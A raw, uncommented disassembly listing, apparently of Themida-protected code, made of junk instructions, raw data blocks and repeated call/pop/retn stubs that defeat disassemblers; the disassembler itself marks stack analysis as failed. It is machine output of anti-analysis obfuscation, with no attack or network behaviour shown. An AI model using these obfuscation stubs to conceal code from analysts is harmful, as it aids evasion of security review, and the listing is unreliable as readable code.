		dd 24448104h, 1C04h, 0C3504000h, 21D11621h, 6C32374Dh
		dd 12E9F7h, 84B90000h, 46431Eh,	8D0FC708h, 0D81FA2DDh
		dd 0C1E7669Ch, 8B66C08Bh
		db 0FEh
; ---------------------------------------------------------------------------


loc_5CA21D:				; CODE XREF: Themida_:loc_5C9DB4j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	ecx
		call	sub_5CA22C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA22C	proc near		; CODE XREF: Themida_:005CA224p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5CA22C	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		pop	edx
		sub	[ebp+7D113C9h],	edi
		mov	dword ptr [ebp+7D12725h], 5A894953h
		mov	eax, eax
		mov	si, 1699h
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jnz	loc_5CA28E
		push	0
		push	esi
		call	sub_5CA26F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA26F	proc near		; CODE XREF: Themida_:005CA267p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5CA26F	endp

; ---------------------------------------------------------------------------
		db 0E3h
; ---------------------------------------------------------------------------
		mov	bl, ah
		inc	dword ptr [ebp+7D12001h]
		sub	[ebp+7D12CF5h],	edi


loc_5CA28E:				; CODE XREF: Themida_:005CA25Ej
		push	dword ptr [ebp+7D12001h]
		push	0
		push	ebx
		call	sub_5CA29F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA29F	proc near		; CODE XREF: Themida_:005CA297p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5CA29F	endp

; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		add	byte ptr [esp+ebx*2-75h], 2Bh
		test	dword ptr [esi-62D62015h], 7D11831h
		call	dword ptr [ebp+7D10055h]
		mov	[ebp+7D113EDh],	edx
		ja	loc_5CA2D6
		mov	esi, 26E689CCh


loc_5CA2D6:				; CODE XREF: Themida_:005CA2CBj
		nop
		jb	loc_5CA2DE
		cld


loc_5CA2DE:				; CODE XREF: Themida_:005CA2D7j
		mov	di, ax
		jmp	loc_5CA2F0
; ---------------------------------------------------------------------------
		dw 0ADE5h
; ---------------------------------------------------------------------------
		sbb	[eax-79065BB2h], dh
		cmc
		xchg	eax, esi


loc_5CA2F0:				; CODE XREF: Themida_:005CA2E1j
		or	[ebp+7D11371h],	esi
		push	0
		push	ebp
		call	sub_5CA301
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA301	proc near		; CODE XREF: Themida_:005CA2F9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5CA301	endp

; ---------------------------------------------------------------------------
		pop	eax
		test	al, 8Dh
		sar	byte ptr [ecx-0F8F143Fh], 1
		movzx	edi, di
		mov	edi, [ebp+7D11F61h]
		add	edi, 3FDAEBDEh
		movsx	esi, dx
		mov	esi, 2A07F867h
		mov	esi, ecx
		mov	edi, 4EF58298h
		xor	edi, 6EF32B1Ch
		cld
		movzx	esi, ax
		push	0
		push	edx
		call	sub_5CA34D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA34D	proc near		; CODE XREF: Themida_:005CA345p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5CA34D	endp

; ---------------------------------------------------------------------------
		aam	0C9h
		fild	dword ptr [ecx+14998529h]
		rol	dword ptr [edi], 1
		jmp	loc_5CA37E
; ---------------------------------------------------------------------------
		dd 11EE3548h, 5BD03FD6h, 0A6730C9h, 5A02C8DBh
; ---------------------------------------------------------------------------
		mov	[ecx], edi


loc_5CA37E:				; CODE XREF: Themida_:005CA367j
		push	edx
		add	edi, [ebp+7D1004Dh]
		pop	edi
		push	0
		push	ecx
		call	sub_5CA391
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA391	proc near		; CODE XREF: Themida_:005CA389p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CA391	endp

; ---------------------------------------------------------------------------
		push	ds
		nop
		fst	dword ptr [esi]
		stc
		jo	short loc_5CA406
		mov	es, cx
		jb	short loc_5CA3DD
		test	ebp, ebp
		sub	ecx, edx
		pop	es
		push	0
		push	ecx
		call	sub_5CA3BC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA3BC	proc near		; CODE XREF: Themida_:005CA3B4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CA3BC	endp

; ---------------------------------------------------------------------------
		dd 578145BFh, 67542B0Ah, 0D781B5FEh, 26F1EEE1h
		db 0E9h
; ---------------------------------------------------------------------------


loc_5CA3DD:				; CODE XREF: Themida_:005CA3AAj
		sahf
		idiv	edi
		jmp	fword ptr [edx+0]
; ---------------------------------------------------------------------------
		push	edi
		call	sub_5CA3EC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA3EC	proc near		; CODE XREF: Themida_:005CA3E4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5CA3EC	endp

; ---------------------------------------------------------------------------
		dd 0CBBD8058h, 2FC781F3h
		db 22h,	50h
; ---------------------------------------------------------------------------


loc_5CA406:				; CODE XREF: Themida_:005CA3A6j
		sub	al, 60h
		mov	ebx, [ebp+7D113F1h]
		mov	[ebp+7D12F15h],	esi
		add	[ebp+7D107A1h],	edi
		mov	[ebp+7D125B9h],	eax
		popa
		mov	eax, ecx
		mov	esi, [ebp+7D11C69h]
		jmp	short loc_5CA42F
; ---------------------------------------------------------------------------
		align 4
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5CA42F:				; CODE XREF: Themida_:005CA429j
		sub	[ebp+7D12E55h],	esi
		lea	eax, [ebp+7D11361h]
		push	0
		push	esi
		call	sub_5CA446
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA446	proc near		; CODE XREF: Themida_:005CA43Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CA446	endp

; ---------------------------------------------------------------------------
		xor	al, 0C9h
		sti
		xchg	eax, edx
		retn
; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		pop	esp
		mov	si, 29E0h
		nop
		mov	edi, eax
		push	eax
		mov	si, 8DF6h
		nop
		push	0
		push	edi
		call	sub_5CA476
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA476	proc near		; CODE XREF: Themida_:005CA46Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5CA476	endp

; ---------------------------------------------------------------------------
		push	ebp
		das
		mov	edi, 32A40981h
		mov	esi, [ebp+7D1295Dh]
		push	0
		mov	esi, [ebp+7D11CC1h]
		push	0
		mov	edi, [ebp+7D128E9h]
		mov	[ebp+7D11791h],	ecx
		lea	eax, [ebp+7D53F5Ch]
		jmp	loc_5CA4C6
; ---------------------------------------------------------------------------
		and	dword ptr [edi+3CCCB3CFh], 3Fh
		cmpsb
		call	dword ptr [esi+7Eh]
		inc	eax
		clc
		mov	ds:0B76AEEACh, al


loc_5CA4C6:				; CODE XREF: Themida_:005CA4AFj
		add	eax, 5
		movzx	edi, bx
		nop
		mov	edi, 70F37C9h
		push	eax
		jo	loc_5CA4DB
		mov	edi, ecx


loc_5CA4DB:				; CODE XREF: Themida_:005CA4D3j
		nop
		or	[ebp+7D10C51h],	ecx
		push	0
		push	0
		push	esi
		call	sub_5CA4EF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA4EF	proc near		; CODE XREF: Themida_:005CA4E7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5CA4EF	endp

; ---------------------------------------------------------------------------
		db 3Eh
		dd 72294801h, 89A588C5h, 0D132758Dh, 88BF6607h,	6A006A12h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 24BCC356h, 0BB1478D4h, 0D6816616h, 95FF2813h
		dd 7D11DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0F1C35040h, 0DEF25B83h,	22E1B58Bh, 9D8D07D1h, 7D4D566h
		dd 0CC9BD8Bh, 0D3FF07D1h, 292185FFh, 6A07D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 66995BC3h
		dd 0DCE98D9Ah, 0E8000006h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D53F66h
		push	0
		push	esi
		call	sub_5CA5B6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA5B6	proc near		; CODE XREF: Themida_:005CA5AEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5CA5B6	endp

; ---------------------------------------------------------------------------
		adc	al, 0FEh
		add	[ebp+7D1246Dh],	edx
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jbe	loc_5CA6CD
		add	[ebp+7D1137Dh],	edi
		mov	ebx, [ebp+7D11F45h]
		mov	edi, [ebp+7D11CC5h]
		and	ebx, 100h
		push	0
		push	ecx
		call	sub_5CA601
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA601	proc near		; CODE XREF: Themida_:005CA5F9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CA601	endp

; ---------------------------------------------------------------------------
		fmul	dword ptr [ecx-2EFE467Bh]
		pop	es
		or	ebx, ebx
		jnz	loc_5CA686
		mov	edi, [ebp+7D11131h]
		or	edi, [ebp+7D121E9h]
		cmp	dword ptr [ebp+7D53DEDh], 0
		jz	loc_5CA649
		mov	[ebp+7D121E1h],	edi
		jmp	loc_5CA696
; ---------------------------------------------------------------------------
		add	si, 46CBh


loc_5CA649:				; CODE XREF: Themida_:005CA633j
		mov	dword ptr [ebp+7D53DEDh], 1
		mov	esi, [ebp+7D11AF1h]
		jmp	loc_5CA696
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5CA669
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA669	proc near		; CODE XREF: Themida_:005CA661p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5CA669	endp

; ---------------------------------------------------------------------------
		db 0F1h, 7Dh, 99h
		dd 9ABE0BE0h, 9563DE81h
; ---------------------------------------------------------------------------
		push	esp
		pop	edx


loc_5CA686:				; CODE XREF: Themida_:005CA61Aj
		mov	dword ptr [ebp+7D53DEDh], 0
		add	esi, [ebp+7D12F6Dh]


loc_5CA696:				; CODE XREF: Themida_:005CA63Fj
					; Themida_:005CA659j
		lea	ebx, [ebp+7D11F45h]
		xor	[ebp+7D114CDh],	edi
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	esi
		call	sub_5CA6B3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA6B3	proc near		; CODE XREF: Themida_:005CA6ABp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CA6B3	endp

; ---------------------------------------------------------------------------
		mov	ebx, 7524CBB0h
		mov	eax, [edx+0Fh]
		mov	bh, 0F7h


loc_5CA6CD:				; CODE XREF: Themida_:005CA5D8j
		mov	bx, ds
		movzx	edi, cx
		test	bl, 4
		jz	loc_5CA713
		mov	edi, edx
		call	dword ptr [ebp+7D101C5h]
		clc
		nop
		jmp	loc_5CA6FB
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D59C3D35h, 464878E8h, 4C40120Fh
		db 0E9h, 30h, 47h
; ---------------------------------------------------------------------------


loc_5CA6FB:				; CODE XREF: Themida_:005CA6E6j
		push	eax
		jmp	loc_5CA70C
; ---------------------------------------------------------------------------
		test	[ebx-36h], ecx
		lea	ebp, [edx+54h]
		test	cl, bl
		clc
		xchg	edx, esi


loc_5CA70C:				; CODE XREF: Themida_:005CA6FCj
		nop
		mov	[ebp+7D11515h],	ecx


loc_5CA713:				; CODE XREF: Themida_:005CA6D6j
		jmp	loc_5CAA7E
; ---------------------------------------------------------------------------
		dd 2F7BBF66h, 816600B0h, 0E6C5FAC7h, 6A71E470h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 6B36C350h, 3E60AFD9h, 66966D32h, 0F98B5BEh, 6AD8B6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 7040AC3h, 0BD23CEB4h, 7D12525h, 16DDB58Bh, 9D2907D1h
		dd 7D11515h, 6BAh, 13E86000h, 0B4000000h, 4BC96407h, 161D8B3Eh
		dd 94D460E5h, 6EB782B1h, 5953AE4Dh, 0C38B615Fh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 6C35242h, 0BD23F376h
		dd 7D12069h, 6A04E8C1h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9905C357h, 8ABEFC18h
		dd 8920A1D9h, 0D1205995h, 0E2F76607h, 66D82BFCh, 0AB9DC681h
		dd 38C0F50h, 66000000h,	1C89FA8Bh, 1B5FF24h, 6A07D120h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 801CC355h, 95FF3951h, 7D10055h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 27C35747h, 0FB8B82A3h
		dd 8D8900B0h, 7D113D1h,	6A70E6h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8BB964C3h, 6671E4F7h
		dd 0AA73DF81h, 830F613Ch, 1EAh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 6BC35545h, 1D449F67h, 0B5894EA9h
		dd 7D125C1h, 51D8B60Fh,	5E8h, 2A820200h, 5EF5589Ch, 0B2BF665Fh
		dd 6BAFEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 7CB41C3h, 17299509h, 816607D1h
		dd 8BA6DBCFh, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0E7F49D46h, 4E8C18Fh, 82C7F681h
		dd 0B5097F0Dh, 7D118F1h, 89E2F766h, 0D13179BDh,	93BE6607h
		dd 0FD82BB0h, 68Ch, 0BD858900h,	5807D12Dh, 16059529h, 0BD8B07D1h
		dd 7D12139h, 880FD82Bh,	11Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 32C35343h, 0FA89780h, 7B9F2BFh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 84E2C355h, 858E5A49h, 84E302B3h
		dd 0F60FE8Bh, 1387h, 0EE900h, 0E6C90000h, 190201B8h, 94A6122Dh
		dd 0DEDC176Bh, 2475B58Bh, 896107D1h, 0D11BF9BDh, 0C18307h
		dd 9259D89h, 0D93B07D1h, 98860Fh, 0BD030000h, 7D11D01h
		dd 6AD98C66h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 9D97C352h, 8B662D9Bh, 4C1F6F3h
		dd 5C840Fh, 0FFFC0000h,	0D101C595h, 0D5BD8B07h,	5B07D116h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0A8C35040h
		dd 0DD0458A0h, 2BA8AE93h, 0D5BD8BC3h, 8907D10Eh, 0D10C99BDh
		dd 8343D07h, 860F0000h,	12h, 14E9F9h, 9D890000h, 7D11B55h
		dd 199BD8Bh, 0C08B07D1h, 83D9D89h
; ---------------------------------------------------------------------------
		rol	dword ptr [edi], 1


loc_5CAA7E:				; CODE XREF: Themida_:loc_5CA713j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edi
		call	sub_5CAA8D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAA8D	proc near		; CODE XREF: Themida_:005CAA85p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CAA8D	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5CAB05
; ---------------------------------------------------------------------------
		mov	edi, 66603925h
		add	eax, 8B61E766h
		mov	ebp, 7D11BC1h
		mov	dword ptr [ebp+7D11EA9h], 788C23DDh
		mov	edi, [ebp+7D13179h]
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5CAACC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAACC	proc near		; CODE XREF: Themida_:005CAAC4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5CAACC	endp

; ---------------------------------------------------------------------------
		inc	eax
		cmp	dword ptr [ebp+7D12001h], 7D0h
		jnz	loc_5CAB4C
		push	0
		push	edi
		call	sub_5CAAF8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAAF8	proc near		; CODE XREF: Themida_:005CAAF0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h


loc_5CAB05:				; CODE XREF: Themida_:005CAA9Dj
		inc	edi
		push	edi
		retn
sub_5CAAF8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0D2DB6409h, 85FFF04Ah, 7D12001h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 8DC35646h, 0E93B008Fh, 14h
		dd 6FB759D5h, 0B2BB8066h, 28758B56h, 0C9D18EEEh, 38530E1Eh
; ---------------------------------------------------------------------------


loc_5CAB4C:				; CODE XREF: Themida_:005CAAE7j
		push	dword ptr [ebp+7D12001h]
		add	edi, [ebp+7D13075h]
		call	dword ptr [ebp+7D10055h]
		jmp	loc_5CAB6A
; ---------------------------------------------------------------------------
		mov	edx, [ecx]
		mov	esi, esp
		clc
		cwde
		inc	edi


loc_5CAB6A:				; CODE XREF: Themida_:005CAB5Ej
		nop
		push	0
		push	ecx
		call	sub_5CAB76
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAB76	proc near		; CODE XREF: Themida_:005CAB6Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CAB76	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		mov	[ebp+7D11EF5h],	eax
		movzx	esi, ax
		push	0
		push	ebp
		call	sub_5CAB9B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAB9B	proc near		; CODE XREF: Themida_:005CAB93p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CAB9B	endp

; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		retn	6A6Ch
; ---------------------------------------------------------------------------
		align 10h
		push	eax
		call	sub_5CABB9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CABB9	proc near		; CODE XREF: Themida_:005CABB1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CABB9	endp

; ---------------------------------------------------------------------------
		db 26h,	0FCh, 93h
		dd 0BB9D773Fh, 2571B58Bh, 816607D1h, 0F558C3EFh, 8BC38B60h
		dd 0D103C99Dh, 60C18B07h, 28A9BD8Bh, 0BE807D1h,	7A000000h
		dd 5FA90CF9h, 2CE50A31h, 615B69E8h, 53006A61h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0BE44E342h
		dd 6C8216B5h, 6AF1BF0Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0B44C352h, 0D12091BDh
		dd 0FABF0F07h, 18840Fh,	7E90000h, 77000000h, 4F0DD866h
		dd 810F96EBh, 6, 810Fh,	0BD310000h, 7D12BE1h, 0FFF92AE9h
		dd 75BD8BFFh, 8B07D12Fh, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 794C30E8h, 11E94B6Dh
		dd 51000000h, 4029A2Dh,	9E8CCBFh, 52AF1B6Dh, 0FB43A908h
		dd 104EBh, 11E80000h, 3000000h,	7EB79247h, 1BF07AB7h, 268481C0h
		dd 0DCB17F0h, 8E960h, 1EA30000h, 0B8FD6C20h, 0BD8BAF1Eh
		dd 7D115EDh, 6A5F61h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 571085C3h, 7E4FDA13h, 0FCFC41Fh
		dd 684h, 65B53300h, 8B07D110h, 0D13159BDh, 61858D07h, 5007D113h
		dd 89FA8B66h, 0BD8B2404h, 7D118F1h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0AD7E6DC3h
		dd 68E0Fh, 0BD230000h, 7D11469h, 858D006Ah, 7D54809h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 65C35343h, 399DFDDBh
		dd 0B58B9B1Bh, 7D11CC1h, 8B05C083h, 0D10EF1B5h,	0B7BF9007h
		dd 5067C4CDh, 9E8h, 0D486A600h,	0F303C862h, 8B604E99h
		dd 615F56F9h, 6A905Fh, 31099589h, 6A07D1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3AC35141h, 0E07CE6D5h
		dd 6FE714D4h, 5E816h, 84050000h, 66ACBB5Ah, 528FD781h
		dd 0F1B58B5Eh, 0FF07D116h, 0D11DE195h, 6DBD8907h, 8D07D12Dh
		dd 0D4D5669Dh, 5BD8907h, 0FF07D133h, 22E781D3h,	0FF35395Dh
		dd 0D1292185h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 215FD9FBh, 0C5503293h
		dd 0B1B589AEh, 0E907D118h, 894h, 0E8h, 0ED815D00h, 7D54813h
		dd 2001BD81h, 7D007D1h,	860F0000h, 14Dh, 6850Fh, 9D290000h
		dd 7D12F3Dh, 1919D8Bh, 6A07D1h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5827EDC3h, 9D8972E5h
		dd 7D13305h, 0DA4FBE66h, 100E381h, 8B660000h, 0FDB0BF2h
		dd 0C885h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 1277FE19h, 42C8198h, 0EE892B1h, 0A5000000h
		dd 813F8D91h, 17D2F689h, 39548BDh, 0BD835FAEh, 7D54678h
		dd 2E840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 4AD4C355h, 4AB20722h
		dd 0ABF6650h, 78E9AEh, 8B660000h, 7885C7F1h, 107D546h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 1264C357h, 2361FD17h, 0D11F8DB5h
		dd 0CD8D0107h, 0E907D132h, 3Ah,	7E8h, 67000B00h, 0D614A51Ah
		dd 7E9h, 43464400h, 0D66AB7EEh,	7885C75Fh, 7D546h, 0E9000000h
		dd 12h,	0EF1924AFh, 70A86539h, 8C3C4B17h, 593F954Ch, 9D8DDDD9h
		dd 7D10191h, 7C68166h, 0FF2381DBh, 89FFFFFEh, 0D116CDBDh
		dd 0DB8C6607h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0D5C35040h, 32E7C19Dh, 4C3994BCh, 4C3F610h, 46840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 974620C3h, 0DAC40C1Eh, 0FFF88B66h, 0D101C595h
		dd 0E59D8907h, 9007D110h, 9D0BE66h, 0E9569050h,	7, 5E8F2BC3h
		dd 5E761313h, 4BAE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 0C05C0BAEh, 4509F078h
		dd 6A00B06Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 55E3C357h, 0C59C4DC4h,	8161C232h
		dd 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 238C41C3h, 6A71E463h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0BC59C353h
		dd 0F76AAEE5h, 0FD6BEAFh, 0F60D8B6h, 0F781DABFh, 7F14D7E2h
		dd 159D8961h, 0BA07D12Ch, 6, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0D1C35242h,	46A8EB59h, 58A26CEFh
		dd 1A1F32BEh, 6AC38B21h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0FC68C355h,	0BB9F644Dh
		dd 0D9BD89F3h, 6007D105h, 33AD9D8Bh, 8D2907D1h,	7D11B9Dh
		dd 5820F61h, 0BF000000h, 4BFF650Dh, 6A04E8C1h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 7264C351h, 66965932h, 0D82BE2F7h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 54C35747h, 0EDE525Dh, 0CA3D8313h
		dd 4195014Fh, 6607D110h, 1E72EF81h, 241C8950h, 6E9h, 52C57C00h
		dd 0FFB96B56h, 0D12001B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0F6E41423h
		dd 5C350607h, 0F1B53351h, 5F07D113h, 5595FFh, 6A07D1h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 8B2D48C3h, 7350B09Ah, 0FB8B6686h, 6A00B0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 8D8AF0C3h
		dd 0CD65CCAAh, 0FEBF0FE4h, 2D75BD89h, 70E607D1h, 8B71E4F5h
		dd 0D129ADBDh, 0F613C07h, 29E83h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 9C183988h
		dd 8BD8B60Fh, 0D1211DB5h, 6BA07h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E960DBC3h
		dd 11h,	7292B881h, 88923EC0h, 0D8AA9138h, 8507CB41h, 0F6BF0FE2h
		dd 0B58B5661h, 7D12755h, 89C38B5Fh, 0D12CE19Dh,	0EE807h
		dd 7F820000h, 5F2E4145h, 61D8CA2Ch, 9E772A7Fh, 4E8C15Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 48C35747h
		dd 8A0F99h, 0BF000000h,	0E11A72Bh, 8BE2F766h, 0D12385B5h
		dd 6AD82B07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 5921C355h, 89F5299Bh, 0D12A69BDh
		dd 6A5807h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0B4B07EC3h, 0BD898BF1h, 7D107A5h,	20A5B589h
		dd 0D82B07D1h, 185880Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0C279ABC3h, 3ABF6616h
		dd 7B9FAh, 10E80000h, 7F000000h, 0D0B3B3E4h, 669B002Fh
		dd 0C4EE3E64h, 8BA2216Ch, 0D11E5DB5h, 0C1835E07h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 3BB57F32h
